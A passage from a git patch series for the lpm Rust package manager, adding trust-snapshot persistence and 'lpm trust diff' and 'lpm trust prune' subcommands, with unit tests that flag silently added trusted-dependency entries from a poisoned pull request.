bindings.insert(name.clone(), SnapshotEntry::default()); + } + } + TrustedDependencies::Rich(map) => { + for (key, binding) in map.iter() { + bindings.insert( + key.clone(), + SnapshotEntry { + integrity: binding.integrity.clone(), + script_hash: binding.script_hash.clone(), + }, + ); + } + } + } + Self { + schema_version: SCHEMA_VERSION, + captured_at: current_rfc3339(), + bindings, + } + } + + /// Diff `current` against `previous`, returning the keys present + /// in current but NOT in previous, sorted lexicographically. + /// + /// `previous == None` (first install, missing file, version + /// mismatch, or malformed file) means "nothing to diff against" + /// — returns an empty vec. First-time installs do not trigger + /// the new-bindings notice: no prior snapshot means no user- + /// visible "change" to surface. + /// + /// Note: we deliberately do NOT flag removals or binding changes + /// here. The diff exists to catch silent *additions* from a + /// poisoned PR (plan §4.2); removals are user-initiated via + /// `lpm trust prune` (chunk C) and binding changes are already + /// handled by the `BindingDrift` path in the install pipeline. + pub fn diff_additions(&self, previous: Option<&TrustSnapshot>) -> Vec { + let Some(prev) = previous else { + return Vec::new(); + }; + self.bindings + .keys() + .filter(|k| !prev.bindings.contains_key(*k)) + .cloned() + .collect() + } +} + +/// Current wall-clock time as RFC 3339 string. Matches the +/// `chrono::Utc::now().to_rfc3339()` pattern used by +/// `build_state::current_rfc3339` — lpm-cli uses `chrono` for +/// timestamps; `time` is only a transitive dep via lpm-security. +fn current_rfc3339() -> String { + chrono::Utc::now().to_rfc3339() +} + +/// Absolute path to `/.lpm/trust-snapshot.json`. +pub fn snapshot_path(project_dir: &Path) -> PathBuf { + project_dir.join(".lpm").join(FILENAME) +} + +/// Read the trust snapshot from disk. +/// +/// Returns `None` (treated as "no prior state" by callers) if: +/// - the file is missing +/// - the file fails JSON parse +/// - the `schema_version` is newer than [`SCHEMA_VERSION`] +/// +/// Older `schema_version` values are accepted — the optional-field +/// additions policy (see [`SCHEMA_VERSION`] doc) guarantees parse +/// compatibility. +pub fn read_snapshot(project_dir: &Path) -> Option { + let path = snapshot_path(project_dir); + let content = std::fs::read_to_string(&path).ok()?; + let snap: TrustSnapshot = serde_json::from_str(&content).ok()?; + if snap.schema_version > SCHEMA_VERSION { + tracing::debug!( + "trust-snapshot.json is newer than this binary supports \ + (got v{}, max v{}) — treating as missing", + snap.schema_version, + SCHEMA_VERSION, + ); + return None; + } + Some(snap) +} + +/// Atomically write the snapshot to +/// `/.lpm/trust-snapshot.json`. Writes to a temp file +/// alongside the target and renames; a crash between write and rename +/// preserves the previous snapshot rather than producing a truncated +/// file. +pub fn write_snapshot(project_dir: &Path, snap: &TrustSnapshot) -> Result<(), LpmError> { + let path = snapshot_path(project_dir); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(LpmError::Io)?; + } + + let body = serde_json::to_string_pretty(snap) + .map_err(|e| LpmError::Registry(format!("failed to serialize trust-snapshot: {e}")))?; + + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, body).map_err(LpmError::Io)?; + std::fs::rename(&tmp, &path).map_err(LpmError::Io)?; + Ok(()) +} + +/// Format the new-bindings notice per plan §4.2. +/// +/// Empty input returns `None` so the caller can skip printing. When +/// non-empty, the returned string is ready to pass to +/// `output::info` (multi-line; no leading / trailing newlines). +pub fn format_new_bindings_notice(additions: &[String]) -> Option { + if additions.is_empty() { + return None; + } + let mut out = String::from("Manifest trust bindings changed since last install:\n"); + for key in additions { + out.push_str(&format!(" + {key}\n")); + } + out.push_str(" Run `lpm trust diff` to inspect before scripts run."); + Some(out) +} + +#[cfg(test)] +mod tests { + use super::*; + use lpm_workspace::TrustedDependencyBinding; + use std::collections::HashMap; + use tempfile::tempdir; + + fn rich_td(entries: &[(&str, Option<&str>, Option<&str>)]) -> TrustedDependencies { + let mut map: HashMap = HashMap::new(); + for (key, integrity, script_hash) in entries { + map.insert( + (*key).to_string(), + TrustedDependencyBinding { + integrity: integrity.map(String::from), + script_hash: script_hash.map(String::from), + ..Default::default() + }, + ); + } + TrustedDependencies::Rich(map) + } + + // ── capture_current ──────────────────────────────────────────── + + #[test] + fn capture_empty_produces_empty_snapshot() { + let td = TrustedDependencies::default(); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.schema_version, SCHEMA_VERSION); + assert!(snap.bindings.is_empty()); + assert!(!snap.captured_at.is_empty(), "captured_at populated"); + } + + #[test] + fn capture_rich_bindings_projects_fields() { + let td = rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("sharp@0.33.0", None, Some("sha256-sh")), + ]); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.bindings.len(), 2); + let e = snap.bindings.get("esbuild@0.25.1").unwrap(); + assert_eq!(e.integrity.as_deref(), Some("sha512-e")); + assert_eq!(e.script_hash.as_deref(), Some("sha256-es")); + let s = snap.bindings.get("sharp@0.33.0").unwrap(); + assert_eq!(s.integrity, None); + assert_eq!(s.script_hash.as_deref(), Some("sha256-sh")); + } + + #[test] + fn capture_legacy_bare_names_keep_name_only_key() { + // Legacy `trustedDependencies: ["esbuild", "sharp"]` projects + // to bindings with empty binding payloads. The `name@version` + // key semantic follows `TrustedDependencies::iter()`; legacy + // entries iterate as `(name, None)` and we use the bare name + // as the key for the snapshot. + let td = TrustedDependencies::Legacy(vec!["esbuild".to_string(), "sharp".to_string()]); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.bindings.len(), 2); + for key in ["esbuild", "sharp"] { + let e = snap + .bindings + .get(key) + .unwrap_or_else(|| panic!("missing bare-name key {key}")); + assert!(e.integrity.is_none() && e.script_hash.is_none()); + } + } + + // ── diff_additions ───────────────────────────────────────────── + + #[test] + fn diff_no_previous_returns_empty() { + // First install: no snapshot file → no "added since" noise. + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + assert!(current.diff_additions(None).is_empty()); + } + + #[test] + fn diff_detects_additions_only() { + // The motivating case: previous snapshot has one entry; new + // manifest has two. The second one is the "silent addition." + let previous = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + let current = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("plain-crypto-js@1.0.0", None, None), + ])); + let adds = current.diff_additions(Some(&previous)); + assert_eq!(adds, vec!["plain-crypto-js@1.0.0".to_string()]); + } + + #[test] + fn diff_ignores_removals() { + // A package removed from the manifest is not "new to the + // user"; don't surface it. Only additions matter for the + // poisoned-PR scenario. + let previous = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("sharp@0.33.0", None, Some("sha256-sh")), + ])); + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + assert!(current.diff_additions(Some(&previous)).is_empty()); + } + + #[test] + fn diff_ignores_binding_changes_on_same_key() { + // Same key present in both snapshots but with different + // binding values is NOT an "addition." Binding-change + // detection is the job of `BindingDrift` in the install + // pipeline, not this snapshot diff. + let previous = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-old"), + Some("sha256-old"), + )])); + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-new"), + Some("sha256-new"), + )])); + assert!(current.diff_additions(Some(&previous)).is_empty()); + } + + #[test] + fn diff_multiple_additions_are_sorted() { + // BTreeMap keys iterate in order, so the returned vec is + // naturally sorted. Pin this invariant because downstream + // rendering (`format_new_bindings_notice`) relies on it for + // stable output. + let previous = TrustSnapshot::capture_current(&TrustedDependencies::default()); + let current = TrustSnapshot::capture_current(&rich_td(&[ + ("zzz@1.0.0", None, None), + ("aaa@1.0.0", None, None), + ("mmm@1.0.0", None, None), + ])); + let adds = current.diff_additions(Some(&previous)); + assert_eq!( + adds, + vec![ + "aaa@1.0.0".to_string(), + "mmm@1.0.0".to_string(), + "zzz@1.0.0".to_string() + ], + ); + } + + // ── format_new_bindings_notice ───────────────────────────────── + + #[test] + fn format_empty_returns_none() { + assert!(format_new_bindings_notice(&[]).is_none()); + } + + #[test] + fn format_renders_list_with_lpm_trust_diff_cta() { + let n = format_new_bindings_notice(&[ + "plain-crypto-js@1.0.0".to_string(), + "axios@1.14.1".to_string(), + ]) + .unwrap(); + assert!(n.contains("Manifest trust bindings changed since last install")); + assert!(n.contains("+ plain-crypto-js@1.0.0")); + assert!(n.contains("+ axios@1.14.1")); + assert!(n.contains("lpm trust diff")); + } + + // ── read / write round-trip ──────────────────────────────────── + + #[test] + fn write_then_read_round_trip() { + let dir = tempdir().unwrap(); + let td = rich_td(&[("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es"))]); + let snap = TrustSnapshot::capture_current(&td); + + write_snapshot(dir.path(), &snap).unwrap(); + let read = read_snapshot(dir.path()).expect("read back"); + + assert_eq!(read.schema_version, snap.schema_version); + assert_eq!(read.bindings.len(), snap.bindings.len()); + let e = read.bindings.get("esbuild@0.25.1").unwrap(); + assert_eq!(e.integrity.as_deref(), Some("sha512-e")); + } + + #[test] + fn read_missing_file_returns_none() { + let dir = tempdir().unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn read_malformed_json_returns_none() { + let dir = tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join(".lpm")).unwrap(); + std::fs::write(snapshot_path(dir.path()), "{not valid json").unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn read_newer_schema_version_returns_none() { + // Future v2 binary wrote this file; current v1 binary must + // decline to interpret v2 semantics with v1 types. + let dir = tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join(".lpm")).unwrap(); + let future = format!( + r#"{{"schema_version": {}, "captured_at": "2027-01-01T00:00:00Z", "bindings": {{}}}}"#, + SCHEMA_VERSION + 1, + ); + std::fs::write(snapshot_path(dir.path()), future).unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn write_is_atomic_no_tmp_file_left_behind() { + let dir = tempdir().unwrap(); + let snap = TrustSnapshot::capture_current(&TrustedDependencies::default()); + write_snapshot(dir.path(), &snap).unwrap(); + + // No `.json.tmp` leaked alongside the real file. + let tmp = snapshot_path(dir.path()).with_extension("json.tmp"); + assert!(!tmp.exists(), "atomic write must not leak tmp file"); + } + + // ── end-to-end: install N writes, install N+1 diffs ─────────── + + #[test] + fn install_n_writes_snapshot_install_n_plus_1_detects_addition() { + // Simulates the audit-prescribed flow: + // 1. User runs install with manifest M1. + // 2. Snapshot is written with M1's bindings. + // 3. A poisoned PR adds "axios@1.14.1" to the manifest. + // 4. User runs install with manifest M2. Before the install + // modifies anything, the diff surfaces axios@1.14.1. + let dir = tempdir().unwrap(); + + // Install N: snapshot M1 = {esbuild@0.25.1}. + let m1 = rich_td(&[("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es"))]); + let snap_n = TrustSnapshot::capture_current(&m1); + write_snapshot(dir.path(), &snap_n).unwrap(); + + // Install N+1: read the prior snapshot and diff against the + // new manifest M2 = {esbuild@0.25.1, axios@1.14.1}. + let prior = read_snapshot(dir.path()).expect("snapshot N readable"); + let m2 = rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("axios@1.14.1", None, None), + ]); + let snap_n_plus_1 = TrustSnapshot::capture_current(&m2); + let adds = snap_n_plus_1.diff_additions(Some(&prior)); + + assert_eq!( + adds, + vec!["axios@1.14.1".to_string()], + "silent manifest addition MUST be flagged on the next install \ + (audit-prescribed end-to-end regression)" + ); + + // And the rendered notice names the CTA to inspect. + let notice = format_new_bindings_notice(&adds).expect("non-empty"); + assert!(notice.contains("axios@1.14.1")); + assert!(notice.contains("lpm trust diff")); + } +} From f4baed8759601f044d9ff993ba826c0346f72169 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 07:57:03 +0100 Subject: [PATCH 08/61] =?UTF-8?q?feat(phase-46):=20P1=20lpm=20trust=20diff?= =?UTF-8?q?=20+=20lpm=20trust=20prune=20subcommands=20=E2=80=94=20P1=20com?= =?UTF-8?q?plete?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the final P1 chunk. Adds the user-facing surface over the trust-snapshot persistence machinery (8c03c55) — inspection via `lpm trust diff`, active cleanup via `lpm trust prune`. New module: crates/lpm-cli/src/commands/trust.rs - TrustCmd clap subcommand enum with Diff and Prune variants. - compute_full_diff returns added / removed / changed entries across the snapshot → current manifest transition, ordered added-then-removed-then-changed with stable lexicographic sort within each class (matches the rendering convention). - compute_stale_keys extracts the NAME portion from Rich keys (`name@version`) via `rfind('@')` so scoped packages like `@myorg/pkg@1.0.0` resolve to `@myorg/pkg` correctly. Version drift (same name, different version) is NOT flagged as stale — that's BindingDrift territory. - remove_stale_from_manifest handles both Legacy (filter array in place) and Rich (remove map keys) shapes of trustedDependencies. - Atomic manifest writer (temp-then-rename) mirrors the snapshot writer's crash-safety pattern. - Stable JSON schema on `--json` with SCHEMA_VERSION = 1 per P9 telemetry discipline. `lpm trust diff`: - `--json` emits structured { added, removed, changed } arrays plus the snapshot's `captured_at` for agent consumption. - Human mode renders `+ added`, `- removed`, `~ changed` with per-field delta ("integrity: sha512-old → sha512-new") for changed entries. - Empty diff reports "unchanged since last install ()". `lpm trust prune`: - Reads lpm.lock to determine installed names; refuses to run if lockfile is missing. - `--dry-run` to preview; `--yes` for non-TTY; non-TTY without `--yes` is a hard error (prevents silent mutation in CI). - `--json` emits `{ stale_count, stale[], dry_run, mutated }`. - Confirmation prompt on TTY via cliclack. main.rs: - New `Trust { action: TrustCmd }` variant with inline subcommand dispatch following the `Global { action: GlobalCmd }` pattern already established in the codebase. Tests (13 in commands::trust::tests): - compute_full_diff: empty, added/removed/changed classification + ordering invariant, identical → empty - compute_stale_keys: rich entries by name (strips @version), scoped package name extraction (last-@ rule), legacy bare names, empty manifest, version-drift-is-not-stale regression - remove_stale_from_manifest: rich map, legacy array, nonexistent key is no-op - write_manifest atomic-write-no-tmp-leak - End-to-end prune_removes_stale_entry_and_leaves_active_entry_intact (audit prescription B): real package.json + fake lockfile, invoke run_prune via tokio runtime, assert file contents post-mutation. Full-workspace CI gate: clippy -D warnings clean, fmt clean, 1850/1850 tests pass on touched crates (lpm-cli + lpm-security + lpm-registry). Phase 46 P1 IS COMPLETE. Branch phase-46 has 8 commits covering: - Schema extensions (474fc59) - ScriptPolicyConfig + --policy/--yolo/--triage flags (a15cbd3) - Audit honesty fixes: help text + scriptPolicy typo warning (403a041) - Audit v3: warning names effective policy (665e74b) - Helper migration: strict gate in show_install_build_hint + all_scripted_packages_trusted (107fde5) - Metadata plumbing: published_at + behavioral_tags_hash (f13541c) - Trust-snapshot persistence + diff notice (8c03c55) - lpm trust diff + lpm trust prune (this commit) Next phase: P2 static classifier. All P1 field-ownership obligations met per plan §11: - Schema extensions (done) - Helper migration (done) - Config consolidation (ScriptPolicyConfig done) - Metadata plumbing (published_at, behavioral_tags_hash done) - Trust-snapshot persistence (done) - lpm trust diff/prune (done) Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/commands/mod.rs | 1 + crates/lpm-cli/src/commands/trust.rs | 745 +++++++++++++++++++++++++++ crates/lpm-cli/src/main.rs | 14 + 3 files changed, 760 insertions(+) create mode 100644 crates/lpm-cli/src/commands/trust.rs diff --git a/crates/lpm-cli/src/commands/mod.rs b/crates/lpm-cli/src/commands/mod.rs index 66eff4d8..d91e851f 100644 --- a/crates/lpm-cli/src/commands/mod.rs +++ b/crates/lpm-cli/src/commands/mod.rs @@ -46,6 +46,7 @@ pub mod store; pub mod swift_registry; pub mod token; pub mod tools; +pub mod trust; pub mod tunnel; pub mod uninstall; pub mod uninstall_global; diff --git a/crates/lpm-cli/src/commands/trust.rs b/crates/lpm-cli/src/commands/trust.rs new file mode 100644 index 00000000..b6ab3947 --- /dev/null +++ b/crates/lpm-cli/src/commands/trust.rs @@ -0,0 +1,745 @@ +//! Phase 46 P1 — `lpm trust` user-facing subcommands. +//! +//! Two subcommands, both operating on +//! `/package.json > lpm > trustedDependencies` plus (for +//! `diff`) `/.lpm/trust-snapshot.json` written by the +//! install pipeline. +//! +//! ## `lpm trust diff` +//! +//! Read-only inspection of how the current manifest's trust bindings +//! differ from the last install's snapshot. The install pipeline +//! emits a brief notice for additions (plan §4.2); this command +//! gives the full picture — additions, removals, and same-key +//! binding changes — so the user can investigate before running +//! another install. +//! +//! ## `lpm trust prune` +//! +//! Remove stale `trustedDependencies` entries — ones whose package +//! name no longer appears in the resolved tree (lockfile). Useful +//! after removing a dependency: the approval entry lingers in +//! `package.json` forever otherwise (pre-Phase-46, `lpm build` +//! emits a "stale trustedDependencies" warning; `prune` is the +//! active fix). +//! +//! Per-version trust entries (e.g. `esbuild@0.25.1` when only +//! `esbuild@0.25.2` is installed) are NOT considered stale by name +//! alone — the name is still in the tree, just at a different +//! version. That's drift territory, handled by the strict-gate +//! `BindingDrift` path at install time. + +use crate::output; +use crate::trust_snapshot::{self, SnapshotEntry, TrustSnapshot}; +use clap::Subcommand; +use lpm_common::LpmError; +use lpm_workspace::{TrustedDependencies, TrustedDependencyBinding}; +use owo_colors::OwoColorize; +use std::collections::BTreeMap; +use std::path::Path; + +/// Stable JSON schema version for `lpm trust {diff,prune} --json`. +/// +/// Bumped independently of `build-state.json` / `trust-snapshot.json` +/// schemas because this is a user-facing output contract consumed by +/// agents and scripts. Same "only on breaking changes" discipline +/// as elsewhere in Phase 46. +pub const SCHEMA_VERSION: u32 = 1; + +/// `lpm trust `. +#[derive(Debug, Subcommand)] +pub enum TrustCmd { + /// Show how `package.json > lpm > trustedDependencies` differs + /// from the last install's snapshot. + /// + /// Surfaces additions (potential silent PR poisoning), + /// removals, and same-key binding changes. Read-only. + Diff { + /// Emit machine-readable JSON instead of human output. + #[arg(long)] + json: bool, + }, + /// Remove stale `trustedDependencies` entries (packages no + /// longer in the resolved tree). + Prune { + /// Skip the interactive confirmation prompt. Required on + /// non-TTY (e.g. CI). + #[arg(long, short = 'y')] + yes: bool, + /// Preview what would be pruned without writing to + /// `package.json`. + #[arg(long)] + dry_run: bool, + /// Emit machine-readable JSON instead of human output. + #[arg(long)] + json: bool, + }, +} + +/// Entry point called from main.rs. +pub async fn run(cmd: &TrustCmd, project_dir: &Path) -> Result<(), LpmError> { + match cmd { + TrustCmd::Diff { json } => run_diff(project_dir, *json).await, + TrustCmd::Prune { yes, dry_run, json } => { + run_prune(project_dir, *yes, *dry_run, *json).await + } + } +} + +// ─── lpm trust diff ──────────────────────────────────────────────── + +/// Classification of a single binding's change between snapshot and +/// current manifest. +#[derive(Debug, Clone, PartialEq, Eq)] +enum DiffKind { + /// Entry present in current, absent in snapshot. + Added, + /// Entry present in snapshot, absent in current. + Removed, + /// Same key in both but at least one of (integrity, script_hash) + /// changed. + Changed, +} + +#[derive(Debug, Clone)] +struct DiffEntry { + key: String, + kind: DiffKind, + previous: Option, + current: Option, +} + +/// Compute the full three-way diff between snapshot and current +/// manifest bindings. +/// +/// Stable-ordered: additions first (lexicographic), then removals, +/// then changes — matching the rendering convention so downstream +/// JSON consumers don't have to re-sort. +fn compute_full_diff(snapshot: Option<&TrustSnapshot>, current: &TrustSnapshot) -> Vec { + let empty = BTreeMap::new(); + let prev = snapshot.map(|s| &s.bindings).unwrap_or(&empty); + let curr = ¤t.bindings; + + let mut added: Vec = Vec::new(); + let mut removed: Vec = Vec::new(); + let mut changed: Vec = Vec::new(); + + for (key, curr_entry) in curr { + match prev.get(key) { + None => added.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Added, + previous: None, + current: Some(curr_entry.clone()), + }), + Some(prev_entry) if prev_entry != curr_entry => changed.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Changed, + previous: Some(prev_entry.clone()), + current: Some(curr_entry.clone()), + }), + Some(_) => {} // identical, skip + } + } + for (key, prev_entry) in prev { + if !curr.contains_key(key) { + removed.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Removed, + previous: Some(prev_entry.clone()), + current: None, + }); + } + } + + // BTreeMap iteration already yields sorted keys; concatenating + // added → removed → changed preserves lexicographic order WITHIN + // each class, which is the user-visible rendering order. + added.extend(removed); + added.extend(changed); + added +} + +async fn run_diff(project_dir: &Path, json: bool) -> Result<(), LpmError> { + let pkg_json_path = project_dir.join("package.json"); + if !pkg_json_path.exists() { + return Err(LpmError::NotFound( + "lpm trust diff requires a package.json in the current directory.".into(), + )); + } + let pkg = lpm_workspace::read_package_json(&pkg_json_path) + .map_err(|e| LpmError::Registry(format!("failed to read package.json: {e}")))?; + + let snapshot = trust_snapshot::read_snapshot(project_dir); + let current = TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&TrustedDependencies::Legacy(Vec::new())), + ); + let entries = compute_full_diff(snapshot.as_ref(), ¤t); + + if json { + print_diff_json(&entries, snapshot.as_ref(), ¤t); + } else { + print_diff_human(&entries, snapshot.as_ref()); + } + Ok(()) +} + +fn print_diff_json( + entries: &[DiffEntry], + snapshot: Option<&TrustSnapshot>, + current: &TrustSnapshot, +) { + let body = serde_json::json!({ + "schema_version": SCHEMA_VERSION, + "command": "trust diff", + "snapshot_captured_at": snapshot.map(|s| s.captured_at.clone()), + "current_binding_count": current.bindings.len(), + "added": entries.iter().filter(|e| e.kind == DiffKind::Added) + .map(diff_entry_json).collect::>(), + "removed": entries.iter().filter(|e| e.kind == DiffKind::Removed) + .map(diff_entry_json).collect::>(), + "changed": entries.iter().filter(|e| e.kind == DiffKind::Changed) + .map(diff_entry_json).collect::>(), + }); + println!("{}", serde_json::to_string_pretty(&body).unwrap()); +} + +fn diff_entry_json(e: &DiffEntry) -> serde_json::Value { + serde_json::json!({ + "key": e.key, + "previous": e.previous, + "current": e.current, + }) +} + +fn print_diff_human(entries: &[DiffEntry], snapshot: Option<&TrustSnapshot>) { + if entries.is_empty() { + match snapshot { + Some(s) => output::success(&format!( + "trustedDependencies unchanged since last install ({})", + s.captured_at, + )), + None => output::info( + "no prior snapshot (this project hasn't been installed with LPM before)", + ), + } + return; + } + + if let Some(s) = snapshot { + output::info(&format!( + "trustedDependencies diff vs. snapshot from {}:", + s.captured_at + )); + } else { + output::info("trustedDependencies (no prior snapshot to compare against):"); + } + + for e in entries { + match e.kind { + DiffKind::Added => { + println!(" {} {}", "+".green(), e.key.bold()); + } + DiffKind::Removed => { + println!(" {} {}", "-".red(), e.key.bold()); + } + DiffKind::Changed => { + println!(" {} {}", "~".yellow(), e.key.bold()); + if let (Some(prev), Some(curr)) = (&e.previous, &e.current) { + render_binding_delta("integrity", &prev.integrity, &curr.integrity); + render_binding_delta("scriptHash", &prev.script_hash, &curr.script_hash); + } + } + } + } +} + +fn render_binding_delta(name: &str, prev: &Option, curr: &Option) { + if prev == curr { + return; + } + let prev_s = prev.as_deref().unwrap_or(""); + let curr_s = curr.as_deref().unwrap_or(""); + println!(" {name}: {} → {}", prev_s.dimmed(), curr_s); +} + +// ─── lpm trust prune ─────────────────────────────────────────────── + +/// Determine which `trustedDependencies` keys are stale — their +/// package NAME no longer appears anywhere in the resolved tree. +/// +/// "Name no longer in the resolved tree" means: the lockfile has +/// zero entries with this name, regardless of version. Per-version +/// drift (same name, different version) is NOT stale here — that's +/// BindingDrift at install time. +fn compute_stale_keys( + trusted: &TrustedDependencies, + installed_names: &std::collections::HashSet, +) -> Vec { + let mut stale: Vec = Vec::new(); + match trusted { + TrustedDependencies::Legacy(names) => { + for n in names { + if !installed_names.contains(n) { + stale.push(n.clone()); + } + } + } + TrustedDependencies::Rich(map) => { + for key in map.keys() { + // Rich keys are "name@version"; extract the name half + // (everything before the LAST `@`, so scoped packages + // like `@scope/pkg@1.2.3` work). + let name = match key.rfind('@') { + Some(at) if at > 0 => &key[..at], + _ => key.as_str(), + }; + if !installed_names.contains(name) { + stale.push(key.clone()); + } + } + } + } + stale.sort(); + stale +} + +/// Read the resolved-tree names from `lpm.lock`. Returns an empty +/// set on missing / malformed lockfile (which prune then interprets +/// as "no names installed → everything looks stale"; we refuse to +/// prune in that case at the caller level). +fn installed_names_from_lockfile( + project_dir: &Path, +) -> Result, LpmError> { + let lockfile_path = project_dir.join("lpm.lock"); + if !lockfile_path.exists() { + return Err(LpmError::NotFound( + "no lpm.lock found — run `lpm install` before pruning trust entries".into(), + )); + } + let lockfile = lpm_lockfile::Lockfile::read_fast(&lockfile_path) + .map_err(|e| LpmError::Registry(format!("failed to read lockfile: {e}")))?; + Ok(lockfile.packages.into_iter().map(|p| p.name).collect()) +} + +async fn run_prune( + project_dir: &Path, + yes: bool, + dry_run: bool, + json: bool, +) -> Result<(), LpmError> { + let pkg_json_path = project_dir.join("package.json"); + if !pkg_json_path.exists() { + return Err(LpmError::NotFound( + "lpm trust prune requires a package.json in the current directory.".into(), + )); + } + + let installed_names = installed_names_from_lockfile(project_dir)?; + + // Load the raw JSON so we can write it back with minimal churn + // (preserve ordering, whitespace, etc.). Parse + // `trustedDependencies` via the typed path to reuse the variant- + // aware stale computation. + let manifest_text = std::fs::read_to_string(&pkg_json_path).map_err(LpmError::Io)?; + let mut manifest: serde_json::Value = serde_json::from_str(&manifest_text) + .map_err(|e| LpmError::Registry(format!("failed to parse package.json: {e}")))?; + let trusted = extract_trusted_dependencies(&manifest); + let stale = compute_stale_keys(&trusted, &installed_names); + + if json { + print_prune_json(&stale, dry_run, !stale.is_empty() && !dry_run); + } else { + print_prune_human_preview(&stale, &trusted); + } + + if stale.is_empty() || dry_run { + return Ok(()); + } + + // Non-TTY without --yes is a hard error: prune mutates + // package.json. No prompting without explicit opt-in from CI / + // scripts. + if !yes && !is_tty() { + return Err(LpmError::Script( + "lpm trust prune needs a TTY for confirmation. Pass `--yes` to \ + proceed non-interactively, or `--dry-run` to preview." + .into(), + )); + } + if !yes && !json { + let confirmed = cliclack::confirm(format!( + "Remove {} stale entry/entries from package.json?", + stale.len() + )) + .interact() + .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))?; + if !confirmed { + output::info("Nothing pruned."); + return Ok(()); + } + } + + remove_stale_from_manifest(&mut manifest, &stale); + write_manifest(&pkg_json_path, &manifest)?; + + if !json { + output::success(&format!( + "Removed {} stale trust entry/entries.", + stale.len() + )); + } + Ok(()) +} + +fn extract_trusted_dependencies(manifest: &serde_json::Value) -> TrustedDependencies { + manifest + .get("lpm") + .and_then(|l| l.get("trustedDependencies")) + .map(|v| serde_json::from_value::(v.clone()).unwrap_or_default()) + .unwrap_or_default() +} + +fn remove_stale_from_manifest(manifest: &mut serde_json::Value, stale: &[String]) { + let stale_set: std::collections::HashSet<&str> = stale.iter().map(|s| s.as_str()).collect(); + + let Some(td_val) = manifest + .get_mut("lpm") + .and_then(|l| l.get_mut("trustedDependencies")) + else { + return; + }; + + if let Some(arr) = td_val.as_array_mut() { + // Legacy form: filter the array in place. + arr.retain(|v| v.as_str().map(|s| !stale_set.contains(s)).unwrap_or(true)); + } else if let Some(map) = td_val.as_object_mut() { + // Rich form: filter the map in place. + map.retain(|k, _| !stale_set.contains(k.as_str())); + } +} + +fn write_manifest(path: &Path, manifest: &serde_json::Value) -> Result<(), LpmError> { + // Atomic write via temp-then-rename, same pattern as the snapshot + // writer. Pretty-print with 2-space indent to match the npm/pnpm + // convention most projects use. + let body = serde_json::to_string_pretty(manifest) + .map_err(|e| LpmError::Registry(format!("failed to serialize package.json: {e}")))?; + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, format!("{body}\n")).map_err(LpmError::Io)?; + std::fs::rename(&tmp, path).map_err(LpmError::Io)?; + Ok(()) +} + +fn print_prune_human_preview(stale: &[String], _trusted: &TrustedDependencies) { + if stale.is_empty() { + output::success("No stale trust entries. package.json unchanged."); + return; + } + output::info(&format!( + "{} stale trust entry/entries (no longer in the resolved tree):", + stale.len() + )); + for k in stale { + println!(" {} {}", "-".red(), k.bold()); + } +} + +fn print_prune_json(stale: &[String], dry_run: bool, will_mutate: bool) { + let body = serde_json::json!({ + "schema_version": SCHEMA_VERSION, + "command": "trust prune", + "dry_run": dry_run, + "mutated": will_mutate, + "stale_count": stale.len(), + "stale": stale, + }); + println!("{}", serde_json::to_string_pretty(&body).unwrap()); +} + +fn is_tty() -> bool { + use std::io::IsTerminal; + std::io::stdout().is_terminal() +} + +// Unused import guard for the `Binding` type (referenced via +// `compute_full_diff`'s struct fields). Silences a dead-code warning +// if snapshot/current paths ever get refactored; keeps the type +// linked into this module intentionally. +#[allow(dead_code)] +fn _binding_anchor(_b: &TrustedDependencyBinding) {} + +#[cfg(test)] +mod tests { + use super::*; + use lpm_workspace::TrustedDependencyBinding; + use std::collections::{HashMap, HashSet}; + use tempfile::tempdir; + + fn rich_td(entries: &[(&str, Option<&str>, Option<&str>)]) -> TrustedDependencies { + let mut map: HashMap = HashMap::new(); + for (k, integ, sh) in entries { + map.insert( + (*k).to_string(), + TrustedDependencyBinding { + integrity: integ.map(String::from), + script_hash: sh.map(String::from), + ..Default::default() + }, + ); + } + TrustedDependencies::Rich(map) + } + + fn name_set(names: &[&str]) -> HashSet { + names.iter().map(|s| (*s).to_string()).collect() + } + + // ── compute_full_diff ────────────────────────────────────────── + + #[test] + fn diff_empty_current_and_snapshot_yields_nothing() { + let curr = TrustSnapshot::capture_current(&TrustedDependencies::default()); + let entries = compute_full_diff(None, &curr); + assert!(entries.is_empty()); + } + + #[test] + fn diff_classifies_added_removed_changed() { + // Snapshot: {esbuild@1, sharp@1} + // Current: {esbuild@1 (different hash), axios@1} + // Expected: added axios@1, removed sharp@1, changed 